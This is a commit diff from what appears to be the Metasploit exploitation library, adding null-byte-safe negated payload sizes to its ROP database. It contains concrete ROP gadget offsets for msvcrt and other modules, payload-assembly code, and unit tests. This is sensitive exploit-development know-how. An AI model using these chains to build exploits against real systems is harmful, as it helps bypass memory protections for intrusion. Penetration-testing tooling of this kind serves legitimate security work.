Land #2467, @wchen-r7's code to allow dynamic size paylods on ropdb

bug/bundler_fix
jvazquez-r7 2013-10-06 18:18:13 -05:00
commit 5aa3709ca2
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
5 changed files with 127 additions and 10 deletions

View File

@ -11,7 +11,7 @@
<gadget offset="0x0001803c">POP EBP # RETN</gadget>
<gadget offset="0x0001803c">skip 4 bytes</gadget>
<gadget offset="0x0001750f">POP EBX # RETN</gadget>
<gadget value="fffffdff">0x00000201</gadget>
<gadget value="safe_negate_size">Safe size to NEG</gadget>
<gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget>
<gadget offset="0x0004df88">NEG EAX # RETN</gadget>
<gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget>
@ -40,7 +40,7 @@
<gadget offset="0x0003e4fa">POP EBP # RETN</gadget>
<gadget offset="0x0003e4fa">skip 4 bytes</gadget>
<gadget offset="0x0006a2b4">POP EBX # RETN</gadget>
<gadget value="fffffdff">0x00000201</gadget>
<gadget value="safe_negate_size">Safe size to NEG</gadget>
<gadget offset="0x00069351">XCHG EAX, EBX # RETN</gadget>
<gadget offset="0x00025188">NEG EAX # POP ESI # RETN</gadget>
<gadget value="junk">JUNK</gadget>

View File

@ -9,7 +9,7 @@
<gadget offset="0x00024c66">POP EBP # RETN</gadget>
<gadget offset="0x00024c66">skip 4 bytes</gadget>
<gadget offset="0x00004edc">POP EAX # RETN</gadget>
<gadget value="FFFFFBFF">0x00000201</gadget>
<gadget value="safe_negate_size">0x00000201</gadget>
<gadget offset="0x00011e05">NEG EAX # RETN</gadget>
<gadget offset="0x000136e3">POP EBX # RETN</gadget>
<gadget value="0xffffffff"></gadget>

View File

@ -8,7 +8,7 @@
<gadgets base="0x77c10000">
<gadget offset="0x0002b860">POP EAX # RETN</gadget>
<gadget value="0xFFFFFBFF">0xFFFFFBFF -> ebx</gadget>
<gadget value="safe_negate_size">0xFFFFFBFF -> ebx</gadget>
<gadget offset="0x0000be18">NEG EAX # POP EBP # RETN</gadget>
<gadget value="junk">JUNK</gadget>
<gadget offset="0x0001362c">POP EBX # RETN</gadget>

View File

@ -29,7 +29,7 @@ class RopDb
#
# Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or
# some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size,
# and :size_negate.
# :unsafe_negate_size, and :safe_negate_size
# Note if no RoP is found, it returns an empry array.
# Arguments:
# rop_name - name of the ROP chain.
@ -90,8 +90,10 @@ class RopDb
Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i
elsif e == :size
payload.length
elsif e == :size_negate
0xffffffff - payload.length + 1
elsif e == :unsafe_negate_size
get_unsafe_size(payload.length)
elsif e == :safe_negate_size
get_safe_size(payload.length)
else
e
end
@ -105,6 +107,28 @@ class RopDb
private
#
# Returns a size that's safe from null bytes.
# This function will keep incrementing the value of "s" until it's safe from null bytes.
#
def get_safe_size(s)
safe_size = get_unsafe_size(s)
while (safe_size.to_s(16).rjust(8, '0')).scan(/../).include?("00")
safe_size -= 1
end
safe_size
end
#
# Returns a size that might contain one or more null bytes
#
def get_unsafe_size(s)
0xffffffff - s + 1
end
#
# Checks if a ROP chain is compatible
#
@ -146,8 +170,10 @@ class RopDb
gadgets << :junk
when 'size'
gadgets << :size
when 'size_negate'
gadgets << :size_negate
when 'unsafe_negate_size'
gadgets << :unsafe_negate_size
when 'safe_negate_size'
gadgets << :safe_negate_size
else
gadgets << value.to_i(16)
end

View File

@ -0,0 +1,91 @@
require 'rex/exploitation/ropdb'
describe Rex::Exploitation::RopDb do
context "Class methods" do
context ".initialize" do
it "should initialize with a path of the ROP database ready" do
ropdb = Rex::Exploitation::RopDb.new
ropdb.instance_variable_get(:@base_path).should =~ /data\/ropdb\/$/
end
end
context ".has_rop?" do
ropdb = Rex::Exploitation::RopDb.new
it "should find the msvcrt ROP database" do
ropdb.has_rop?("msvcrt").should eq(true)
end
it "should find the java ROP database" do
ropdb.has_rop?("java").should eq(true)
end
it "should find the hxds ROP database" do
ropdb.has_rop?("hxds").should eq(true)
end
it "should find the flash ROP database" do
ropdb.has_rop?("flash").should eq(true)
end
it "should return false when I supply an invalid database" do
ropdb.has_rop?("sinn3r").should eq(false)
end
end
context ".select_rop" do
ropdb = Rex::Exploitation::RopDb.new
it "should return msvcrt gadgets" do
gadgets = ropdb.select_rop('msvcrt')
gadgets.length.should > 0
end
it "should return msvcrt gadgets for windows server 2003" do
gadgets = ropdb.select_rop('msvcrt', {'target'=>'2003'})
gadgets.length.should > 0
end
it "should return msvcrt gadgets with a new base" do
gadgets1 = ropdb.select_rop('msvcrt')
gadgets2 = ropdb.select_rop('msvcrt', {'base'=>0x10000000})
gadgets2[0].should_not eq(gadgets1[0])
end
end
context ".generate_rop_payload" do
ropdb = Rex::Exploitation::RopDb.new
it "should generate my ROP payload" do
ropdb.generate_rop_payload('msvcrt', 'AAAA').should =~ /AAAA$/
end
it "should generate my ROP payload with my stack pivot" do
ropdb.generate_rop_payload('msvcrt', 'AAAA', {'pivot'=>'BBBB'}).should =~ /^BBBB/
end
end
context ".get_safe_size" do
ropdb = Rex::Exploitation::RopDb.new
it "should return 0xfffffed0 (value does not need to be modified to avoid null bytes)" do
ropdb.send(:get_safe_size, 304).should eq(0xfffffed0)
end
it "should return 0xfffffeff (value is modified to avoid null bytes)" do
ropdb.send(:get_safe_size, 256).should eq(0xfffffeff)
end
end
context ".get_unsafe_size" do
ropdb = Rex::Exploitation::RopDb.new
it "should return 0xfffffc00 (contains a null byte)" do
ropdb.send(:get_unsafe_size, 1024).should eq(0xfffffc00)
end
end
end
end